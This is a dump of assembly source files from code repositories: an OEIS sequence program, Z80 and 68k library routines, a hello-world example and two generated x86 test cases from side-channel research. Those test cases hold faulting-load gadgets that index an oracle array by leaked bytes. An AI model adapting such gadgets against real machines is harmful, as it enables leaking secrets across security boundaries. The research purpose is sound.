afe2287d5eccab937bfe6463c1a4faa0b4637cd2 | 358 | asm | Assembly | programs/oeis/053/A053667.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/053/A053667.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/053/A053667.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A053667: Product of digits of n^2.
; 0,1,4,9,6,10,18,36,24,8,0,2,16,54,54,20,60,144,24,18,0,16,128,90,210,60,252,126,224,32,0,54,0,0,30,20,108,162,64,10,0,48,168,288,162,0,12,0,0,0,0,0,0,0,108,0,54,216,216,96,0,42,384,1458,0,80,360,1152,192,168,0,0,160
pow $0,2
mov $3,34
lpb $0,1
mov $2,$0
div $0,10
mod $2,10
mul $3,$2
mov $1,$3
lpe
div $1,34
| 25.571429 | 217 | 0.617318 |
dabd89dcebd401bb848dbec717161230c061fc05 | 1,194 | asm | Assembly | danagy/fint.asm | DW0RKiN/Floating-point-Library-for-Z80 | 494add6bc20922f4a634fbbacb32d8bd4dd185a7 | [
"MIT"
] | 12 | 2020-02-17T09:07:02.000Z | 2022-02-09T22:15:34.000Z | danagy/fint.asm | DW0RKiN/Floating-point-Library-for-Z80 | 494add6bc20922f4a634fbbacb32d8bd4dd185a7 | [
"MIT"
] | null | null | null | danagy/fint.asm | DW0RKiN/Floating-point-Library-for-Z80 | 494add6bc20922f4a634fbbacb32d8bd4dd185a7 | [
"MIT"
] | 1 | 2021-06-21T23:30:28.000Z | 2021-06-21T23:30:28.000Z | if not defined @FINT
; Round towards zero
; In: HL any floating-point number
; Out: HL same number rounded towards zero
; Pollutes: AF,B
@FINT:
if not defined FINT
; *****************************************
FINT ; *
; *****************************************
endif
LD A, H ;
SUB BIAS ;
if defined FRAC_ZERO
JR c, FRAC_ZERO ; 2:12/7 Completely fractional
else
JR c, FINT_ZERO ; 2:12/7 Completely fractional
endif
FINT_NEXT:
SUB MANT_BITS
RET nc ; Already integer
NEG ; 2:8
LD B, A ; 1:4
LD A, $FF ; 2:7
FINT_LOOP: ; odmazani mantisy za plovouci radovou carkou
ADD A, A ; 1:4
DJNZ FINT_LOOP ; 2:13/8
AND L ; 1:4
LD L, A ; 1:4
RET
if not defined FRAC_ZERO
FINT_ZERO:
LD HL, FPMIN ; -0???
RET
endif
endif
| 29.85 | 91 | 0.366834 |
b62cdaa4a01f4fdb1823d6a84805252bfeaae42a | 7,121 | asm | Assembly | Transynther/x86/_processed/US/_zr_/i7-7700_9_0x48_notsx.log_21829_1374.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/US/_zr_/i7-7700_9_0x48_notsx.log_21829_1374.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/US/_zr_/i7-7700_9_0x48_notsx.log_21829_1374.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %rax
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0x1063e, %rsi
lea addresses_WT_ht+0x67fe, %rdi
dec %r10
mov $36, %rcx
rep movsl
xor %rbp, %rbp
lea addresses_WC_ht+0xd13e, %rax
nop
nop
cmp %r10, %r10
mov $0x6162636465666768, %rdi
movq %rdi, %xmm4
movups %xmm4, (%rax)
nop
nop
nop
sub $46561, %rax
lea addresses_A_ht+0x1a83e, %rsi
lea addresses_WC_ht+0x1563e, %rdi
nop
nop
nop
nop
nop
and $57399, %rdx
mov $97, %rcx
rep movsl
nop
nop
nop
nop
nop
inc %rbp
lea addresses_A_ht+0xb1ae, %rbp
clflush (%rbp)
nop
nop
inc %rsi
movb (%rbp), %dl
nop
and $4059, %rbp
lea addresses_normal_ht+0x53f8, %r10
nop
nop
and %rsi, %rsi
movb (%r10), %cl
and %r10, %r10
lea addresses_D_ht+0x11a3e, %rbp
nop
dec %rdi
movb $0x61, (%rbp)
nop
nop
nop
cmp $33537, %rsi
lea addresses_WT_ht+0xe43e, %rcx
clflush (%rcx)
nop
nop
nop
nop
nop
sub %rsi, %rsi
movb $0x61, (%rcx)
nop
nop
nop
sub $28162, %rcx
lea addresses_UC_ht+0xa73e, %rax
nop
nop
nop
nop
dec %rbp
mov $0x6162636465666768, %rcx
movq %rcx, %xmm5
vmovups %ymm5, (%rax)
nop
and %rsi, %rsi
lea addresses_WT_ht+0x4e3e, %rsi
lea addresses_WC_ht+0x19c3e, %rdi
nop
cmp %rax, %rax
mov $98, %rcx
rep movsl
nop
nop
nop
nop
dec %r10
lea addresses_normal_ht+0x217e, %rbp
nop
nop
nop
sub %rdx, %rdx
movb (%rbp), %r10b
nop
nop
nop
nop
nop
xor %rax, %rax
lea addresses_A_ht+0x19a3e, %rax
nop
dec %rsi
mov (%rax), %rcx
and %rdi, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r15
push %r8
push %rax
push %rcx
push %rdx
// Store
lea addresses_PSE+0x463e, %r14
nop
and %r15, %r15
movw $0x5152, (%r14)
// Exception!!!
nop
nop
mov (0), %rax
nop
nop
nop
nop
nop
xor %r14, %r14
// Store
lea addresses_PSE+0x1183e, %r10
nop
and %r8, %r8
movl $0x51525354, (%r10)
nop
and $39082, %rcx
// Faulty Load
lea addresses_US+0x1a23e, %r8
add $50013, %rdx
mov (%r8), %r10w
lea oracles, %rdx
and $0xff, %r10
shlq $12, %r10
mov (%rdx,%r10,1), %r10
pop %rdx
pop %rcx
pop %rax
pop %r8
pop %r15
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': True, 'size': 8, 'type': 'addresses_US', 'congruent': 0}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_PSE', 'congruent': 10}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 4, 'type': 'addresses_PSE', 'congruent': 6}, 'OP': 'STOR'}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_US', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'congruent': 5, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_normal_ht'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WC_ht', 'congruent': 8}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 10, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_A_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_A_ht', 'congruent': 4}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_normal_ht', 'congruent': 1}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_D_ht', 'congruent': 11}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 1, 'type': 'addresses_WT_ht', 'congruent': 9}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_UC_ht', 'congruent': 8}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 9, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_WT_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_normal_ht', 'congruent': 5}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_A_ht', 'congruent': 8}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 35.427861 | 2,999 | 0.655105 |
f131dc8c188ffd632c55cbfd32584171784c64d4 | 1,947 | asm | Assembly | uti/timer.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | uti/timer.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | uti/timer.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | * uti_timer_asm
include dev8_keys_qdos_sms
include dev8_keys_err
include dev8_keys_atari
include dev8_mac_xref
section utility
xdef ut_etime
xdef ut_dtime
;+++
; timer b
;
; Entry Exit
; D0.l error code
; D1.b timer mode preserved
; D2.b timer b data preserved
; A0.l address of int. routine preserved
;
; Error returns: err.ipar address=0 / mode =0 / data =0
;---
timereg reg d3/d7/a0-a1
ut_etime
movem.l timereg,-(sp)
movem.l d1-d2,-(sp)
lea time_thg,a1
xjsr ut_thuse
movem.l (sp)+,d1-d2
tst.l d0
bne.s timer_rts ; error from timer thing
tst.b d1
beq.s timer_err ; mode 0
tst.b d2
beq.s timer_err ; data 0
cmp.l #0,a0
beq.s timer_err ; address 0
; lea timer,a1
move.w sr,d7
trap #0
move.l a0,$1a0 ; interrupt routine
move.b #0,mfp_ctlb ; timer B control (stop timer)
move.b d2,mfp_datb ; timer B data
move.b d1,mfp_ctlb ; timer B control (insert mode)
moveq #0,d0 ; no error
bset #mfp..tbi,mfp_imra ; set timer b interrupt mask
bset #mfp..tbi,mfp_tbe ; interrupt enable timer b
move.w d7,sr
bra.s timer_rts
timer_err
moveq #err.ipar,d0
timer_rts
movem.l (sp)+,timereg
tst.l d0 ; error ?
rts
;+++
; timer b disable
;---
ut_dtime
move.l a1,-(sp)
bclr #mfp..tbi,mfp_imra ; clear timer b interrupt mask
bclr #mfp..tbi,mfp_tbe ; clear interrupt enable timer b
bclr #mfp..tbi,mfp_tbpi ; clear mfp pending interrupt b
bclr #mfp..tbi,mfp_isra ; clear in service bit
lea time_thg,a1 ; thing name
xjsr ut_thfre ; free it
move.l (sp)+,a1
rts
;+++
; an example of a timer b interrupt routine
;---
timer
move.w d1,-(sp)
move.b mfp_ctlb,d1 ; timer B control (read mode)
move.b #0,mfp_ctlb ; timer B control (stop timer)
addq.l #1,$2817c ; sys_top -4
move.b d1,mfp_ctlb ; timer B control (insert mode)
bclr #mfp..tbi,mfp_tbpi ; clear mfp pending interrupt b
bclr #mfp..tbi,mfp_isra ; clear in service bit
move.w (sp)+,d1
rte
time_thg dc.w 5,'Timer '
end
| 19.277228 | 58 | 0.686697 |
1f6487dbb2098adc0a9342bf91f30a9fceb8f1fc | 7,080 | asm | Assembly | Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_20382_1503.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_20382_1503.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_20382_1503.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r15
push %r8
push %rax
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0x1fb0, %rax
and $50495, %r8
mov $0x6162636465666768, %rbx
movq %rbx, %xmm1
vmovups %ymm1, (%rax)
nop
nop
nop
nop
nop
cmp %r15, %r15
lea addresses_normal_ht+0x199b0, %rsi
lea addresses_normal_ht+0xd56, %rdi
nop
nop
add %r8, %r8
mov $123, %rcx
rep movsq
nop
nop
xor %r15, %r15
lea addresses_normal_ht+0x155b0, %rbx
nop
nop
sub %rcx, %rcx
vmovups (%rbx), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $0, %xmm2, %r15
sub %r15, %r15
lea addresses_D_ht+0x23f0, %rsi
lea addresses_D_ht+0x140b0, %rdi
nop
nop
xor $11740, %rdx
mov $45, %rcx
rep movsw
nop
nop
and $1213, %r15
lea addresses_normal_ht+0x1e3b0, %rbx
nop
nop
nop
nop
inc %rsi
mov (%rbx), %dx
nop
nop
nop
nop
nop
dec %rcx
lea addresses_A_ht+0x1c6b0, %rsi
lea addresses_WT_ht+0x3110, %rdi
nop
nop
nop
cmp %rax, %rax
mov $70, %rcx
rep movsb
nop
nop
nop
and %rsi, %rsi
lea addresses_WT_ht+0x14c70, %rdx
nop
nop
add $40797, %rbx
mov (%rdx), %esi
nop
nop
nop
nop
cmp $60388, %rsi
lea addresses_WC_ht+0x1b2b0, %rsi
lea addresses_A_ht+0x19920, %rdi
cmp $5230, %rbx
mov $9, %rcx
rep movsw
dec %rcx
lea addresses_A_ht+0x4e90, %rsi
nop
xor $43915, %rdx
mov (%rsi), %r8
nop
nop
nop
nop
nop
and %rsi, %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r15
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r14
push %rbx
push %rcx
push %rdx
push %rsi
// Load
lea addresses_WC+0x3900, %rbx
clflush (%rbx)
nop
nop
nop
nop
nop
and $43999, %rcx
movups (%rbx), %xmm3
vpextrq $1, %xmm3, %rsi
nop
nop
add $34514, %rdx
// Store
lea addresses_US+0x9bb0, %r11
nop
nop
nop
nop
add %rdx, %rdx
movl $0x51525354, (%r11)
nop
nop
add $39870, %rsi
// Load
lea addresses_PSE+0xf88, %r10
nop
nop
nop
nop
add $14670, %r14
movups (%r10), %xmm1
vpextrq $0, %xmm1, %rsi
add %rdx, %rdx
// Faulty Load
lea addresses_UC+0xe3b0, %rdx
nop
and $41648, %r10
movups (%rdx), %xmm0
vpextrq $1, %xmm0, %rsi
lea oracles, %rbx
and $0xff, %rsi
shlq $12, %rsi
mov (%rbx,%rsi,1), %rsi
pop %rsi
pop %rdx
pop %rcx
pop %rbx
pop %r14
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 32, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'00': 20382}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 35.4 | 2,999 | 0.657345 |
52a3e76a1ff78295c3586088a436346b8b8acd47 | 885 | asm | Assembly | programs/oeis/025/A025716.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/025/A025716.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/025/A025716.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A025716: Index of 6^n within sequence of numbers of form 6^i*7^j.
; 1,2,4,7,11,16,22,29,37,46,56,67,79,91,104,118,133,149,166,184,203,223,244,266,289,313,337,362,388,415,443,472,502,533,565,598,632,667,702,738,775,813,852,892,933,975,1018,1062,1107,1153,1200,1247,1295,1344,1394
mov $16,$0
mov $18,$0
add $18,1
lpb $18,1
clr $0,16
mov $0,$16
sub $18,1
sub $0,$18
mov $13,$0
mov $15,$0
add $15,1
lpb $15,1
mov $0,$13
sub $15,1
sub $0,$15
mov $9,$0
mov $11,2
lpb $11,1
sub $11,1
add $0,$11
sub $0,1
mov $6,$0
mul $6,48
div $6,25
mul $6,3
add $6,6
mov $1,$6
mov $12,$11
lpb $12,1
mov $10,$1
sub $12,1
lpe
lpe
lpb $9,1
mov $9,0
sub $10,$1
lpe
mov $1,$10
sub $1,3
div $1,3
add $14,$1
lpe
add $17,$14
lpe
mov $1,$17
| 18.061224 | 212 | 0.510734 |
19f6ad8df599a9c9d1df51be4acc9b3c40cb4d33 | 213 | asm | Assembly | libsrc/_DEVELOPMENT/math/float/math16/lm16/c/sccz80/log10.asm | witchcraft2001/z88dk | 11adca337a4125aff611ddfdf3fc2401e8dda5b2 | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/math/float/math16/lm16/c/sccz80/log10.asm | C-Chads/z88dk | a4141a8e51205c6414b4ae3263b633c4265778e6 | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/math/float/math16/lm16/c/sccz80/log10.asm | C-Chads/z88dk | a4141a8e51205c6414b4ae3263b633c4265778e6 | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
SECTION code_fp_math16
PUBLIC log10f16
EXTERN _m16_log10f
defc log10f16 = _m16_log10f
; SDCC bridge for Classic
IF __CLASSIC
PUBLIC _log10f16
EXTERN cm16_sdcc_log10
defc _log10f16 = cm16_sdcc_log10
ENDIF
| 13.3125 | 32 | 0.821596 |
e64b7634ead498cd6738d48eb1334dc13080a2e8 | 388 | asm | Assembly | Documentation/Code/hello.asm | geoffthorpe/ant-architecture | d85952e3050c352d5d715d9749171a335e6768f7 | [
"BSD-3-Clause"
] | null | null | null | Documentation/Code/hello.asm | geoffthorpe/ant-architecture | d85952e3050c352d5d715d9749171a335e6768f7 | [
"BSD-3-Clause"
] | null | null | null | Documentation/Code/hello.asm | geoffthorpe/ant-architecture | d85952e3050c352d5d715d9749171a335e6768f7 | [
"BSD-3-Clause"
] | 1 | 2020-07-15T04:09:05.000Z | 2020-07-15T04:09:05.000Z | # Barney Titmouse -- 11/2/96
# hello.asm-- A "Hello World" program.
# Registers used:
# r2 - holds the address of the string
lc r2, $str_data # load the address of the string into r3
sys r2, 4 # Print the characters in memory
sys r0, 0 # Halt
# Data for the program:
_data_:
str_data:
.byte 'H', 'e', 'l', 'l', 'o', ' '
.byte 'W', 'o', 'r', 'l', 'd', '\n', 0
# end hello.asm
| 20.421053 | 58 | 0.600515 |
87d0af21bb2230621fe29eab06200627375256c7 | 3,661 | asm | Assembly | libsrc/_DEVELOPMENT/target/zx/driver/terminal/zx_01_output_char_64_tty_z88dk/zx_01_output_char_64_tty_z88dk_oterm_msg_tty.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/target/zx/driver/terminal/zx_01_output_char_64_tty_z88dk/zx_01_output_char_64_tty_z88dk_oterm_msg_tty.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
